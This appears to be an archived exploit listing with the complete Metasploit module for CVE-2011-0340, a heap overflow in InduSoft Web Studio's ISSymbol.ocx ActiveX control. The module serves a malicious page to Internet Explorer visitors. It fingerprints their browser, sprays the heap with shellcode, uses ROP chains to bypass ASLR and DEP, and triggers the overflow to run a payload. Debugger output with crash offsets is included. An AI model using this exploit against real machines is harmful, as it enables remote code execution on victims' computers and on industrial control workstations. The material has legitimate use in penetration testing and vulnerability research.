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InduSoft Web Studio ISSymbol.ocx InternationalSeparator() Heap Overflow

InduSoft Web Studio ISSymbol.ocx InternationalSeparator() Heap Overflow
Posted Dec 19, 2012
Authored by James Fitts, Dmitriy Pletnev, Alexander Gavrun, juan vazquez | Site metasploit.com

This Metasploit module exploits a heap overflow found in InduSoft Web Studio <= 61.6.00.00 SP6. The overflow exists in the ISSymbol.ocx, and can be triggered with a long string argument for the InternationalSeparator() method of the ISSymbol control. This Metasploit modules uses the msvcr71.dll form the Java JRE6 to bypass ASLR.

tags | exploit, java, web, overflow
advisories | CVE-2011-0340, OSVDB-72865
SHA-256 | f99bd99b5b541326375a269f30ae36cdabc7a1c18a150d0b60fb51908c7a78c6

InduSoft Web Studio ISSymbol.ocx InternationalSeparator() Heap Overflow

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::RopDb
include Msf::Exploit::Remote::BrowserAutopwn

autopwn_info({
:ua_name => HttpClients::IE,
:ua_minver => "6.0",
:ua_maxver => "9.0",
:javascript => true,
:os_name => OperatingSystems::WINDOWS,
:rank => NormalRanking,
:classid => "{3c9dff6f-5cb0-422e-9978-d6405d10718f}",
:method => "InternationalSeparator"
})


def initialize(info={})
super(update_info(info,
'Name' => "InduSoft Web Studio ISSymbol.ocx InternationalSeparator() Heap Overflow",
'Description' => %q{
This module exploits a heap overflow found in InduSoft Web Studio <= 61.6.00.00
SP6. The overflow exists in the ISSymbol.ocx, and can be triggered with a long
string argument for the InternationalSeparator() method of the ISSymbol control.
This modules uses the msvcr71.dll form the Java JRE6 to bypass ASLR.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Alexander Gavrun', # Vulnerability discovery
'Dmitriy Pletnev', # Vulnerability discovery
'James Fitts', # Metasploit module
'juan vazquez' # Metasploit module
],
'References' =>
[
[ 'CVE', '2011-0340' ],
[ 'OSVDB', '72865' ],
[ 'BID', '47596' ],
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-168/' ],
[ 'URL', 'http://secunia.com/secunia_research/2011-37/' ]
],
'Payload' =>
{
'Space' => 934,
'DisableNops' => true,
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
},
'DefaultOptions' =>
{
'InitialAutoRunScript' => 'migrate -f'
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', {} ],
[ 'IE 6 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x5F4' } ],
[ 'IE 7 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x5F4' } ],
[ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => '0x5f4' } ],
[ 'IE 7 on Windows Vista', { 'Rop' => nil, 'Offset' => '0x5f4' } ],
[ 'IE 8 on Windows Vista', { 'Rop' => :jre, 'Offset' => '0x5f4' } ],
[ 'IE 8 on Windows 7', { 'Rop' => :jre, 'Offset' => '0x5f4' } ],
[ 'IE 9 on Windows 7', { 'Rop' => :jre, 'Offset' => '0x5fe' } ]
],
'Privileged' => false,
'DisclosureDate' => "Apr 28 2012",
'DefaultTarget' => 0))

register_options(
[
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
], self.class)

end

def get_target(agent)
#If the user is already specified by the user, we'll just use that
return target if target.name != 'Automatic'

nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
ie = agent.scan(/MSIE (\d)/).flatten[0] || ''

ie_name = "IE #{ie}"

case nt
when '5.1'
os_name = 'Windows XP SP3'
when '6.0'
os_name = 'Windows Vista'
when '6.1'
os_name = 'Windows 7'
end

targets.each do |t|
if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
print_status("Target selected as: #{t.name}")
return t
end
end

return nil
end

def ie_heap_spray(my_target, p)
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))
js_random_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch))

# Land the payload at 0x0c0c0c0c
case my_target
when targets[7]
# IE 9 on Windows 7
js = %Q|
function randomblock(blocksize)
{
var theblock = "";
for (var i = 0; i < blocksize; i++)
{
theblock += Math.floor(Math.random()*90)+10;
}
return theblock;
}

function tounescape(block)
{
var blocklen = block.length;
var unescapestr = "";
for (var i = 0; i < blocklen-1; i=i+4)
{
unescapestr += "%u" + block.substring(i,i+4);
}
return unescapestr;
}

var heap_obj = new heapLib.ie(0x10000);
var code = unescape("#{js_code}");
var nops = unescape("#{js_random_nops}");
while (nops.length < 0x80000) nops += nops;
var offset_length = #{my_target['Offset']};
for (var i=0; i < 0x1000; i++) {
var padding = unescape(tounescape(randomblock(0x1000)));
while (padding.length < 0x1000) padding+= padding;
var junk_offset = padding.substring(0, offset_length);
var single_sprayblock = junk_offset + code + nops.substring(0, 0x800 - code.length - junk_offset.length);
while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock;
sprayblock = single_sprayblock.substring(0, (0x40000-6)/2);
heap_obj.alloc(sprayblock);
}
|

else
# For IE 6, 7, 8
js = %Q|
var heap_obj = new heapLib.ie(0x20000);
var code = unescape("#{js_code}");
var nops = unescape("#{js_nops}");
while (nops.length < 0x80000) nops += nops;
var offset = nops.substring(0, #{my_target['Offset']});
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
while (shellcode.length < 0x40000) shellcode += shellcode;
var block = shellcode.substring(0, (0x80000-6)/2);
heap_obj.gc();
for (var i=1; i < 0x300; i++) {
heap_obj.alloc(block);
}
var overflow = nops.substring(0, 10);
|

end

js = heaplib(js, {:noobfu => true})

if datastore['OBFUSCATE']
js = ::Rex::Exploitation::JSObfu.new(js)
js.obfuscate
end

return js
end

def get_payload(t, cli)
code = payload.encoded

# No rop. Just return the payload.
if t['Rop'].nil?
prepend = [
0x0c0c0c0c,
0x0c0c0c0c,
0x0c0c0c0c,
0x0c0c0c0c,
0x0c0c0c0c,
0x0c0c0c0c,
0x0c0c0c28 # Will finally become EIP
].pack("V*")
return prepend + code
end

# Both ROP chains generated by mona.py - See corelan.be
case t['Rop']
when :msvcrt
print_status("Using msvcrt ROP")
stack_pivot = [
0x0c0c0c0c, # ret from msvcrt.dll
0x77c15ed6, # ret from msvcrt.dll
0x77c15ed6, # ret from msvcrt.dll
0x77c15ed6, # ret from msvcrt.dll
0x77c15ed6, # ret from msvcrt.dll
0x77c1f519, # pop # ret from msvcrt.dll
0x77c4fa1a # will become eip # mov esp, ebx # pop ebx # ret from msvcrt.dll
].pack("V*")
rop_payload = generate_rop_payload('msvcrt', code, {'pivot'=>stack_pivot, 'target'=>'xp'})
else
print_status("Using JRE ROP")
stack_pivot = [
0x0c0c0c0c, # ret from msvcr71.dll
0x7c376fff, # ret from msvcr71.dll
0x7c376fff, # ret from msvcr71.dll
0x7c376fff, # ret from msvcr71.dll
0x7c376fff, # ret from msvcr71.dll
0x7c376ffe, # pop # ret from msvcr71.dll
0x7c376ffc # will become eip # mov esp, ebx # pop ebx # ret from msvcr71.dll
].pack("V*")
rop_payload = generate_rop_payload('java', code, {'pivot'=>stack_pivot})
end

return rop_payload
end

def load_exploit_html(my_target, cli)
p = get_payload(my_target, cli)
js = ie_heap_spray(my_target, p)

# ActiveX parameters
clsid = "3c9dff6f-5cb0-422e-9978-d6405d10718f"
name = rand_text_alpha(rand(50) + 1 )
boom = Rex::Text.to_unescape("\x0c" * 6888)

html = %Q|
<html>
<head>
<script>
#{js}
</script>
</head>
<body>
<object classid='clsid:#{clsid}' id='#{name}'></object>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<script language='javascript'>
#{name}.InternationalSeparator(unescape("#{boom}"));
</script>
</body></html>
|

return html
end

def on_request_uri(cli, request)
agent = request.headers['User-Agent']
uri = request.uri
print_status("Requesting: #{uri}")

my_target = get_target(agent)
# Avoid the attack if no suitable target found
if my_target.nil?
print_error("Browser not supported, sending 404: #{agent}")
send_not_found(cli)
return
end

html = load_exploit_html(my_target, cli)
html = html.gsub(/^\t\t/, '')
print_status("Sending HTML...")
send_response(cli, html, {'Content-Type'=>'text/html'})
end

end

=begin
eax=41306941 ebx=41306941 ecx=336b4632 edx=00000064 esi=064c0048 edi=00009796
eip=100127d2 esp=0013e60c ebp=0013e640 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
ISSymbol!DllUnregisterServer+0xc9e2:
100127d2 8b01 mov eax,dword ptr [ecx] ds:0023:336b4632=????????
0:000> u eip
ISSymbol!DllUnregisterServer+0xc9e2:
100127d2 8b01 mov eax,dword ptr [ecx]
100127d4 8b5018 mov edx,dword ptr [eax+18h]
100127d7 ffe2 jmp edx
100127d9 cc int 3
100127da cc int 3
100127db cc int 3
100127dc cc int 3
100127dd cc int 3

* ebx
$ ruby pattern_offset.rb 41306941 6888
[*] Exact match at offset 240

* ecx
$ ruby pattern_offset.rb 336b4632 6888
[*] Exact match at offset 4208

=end
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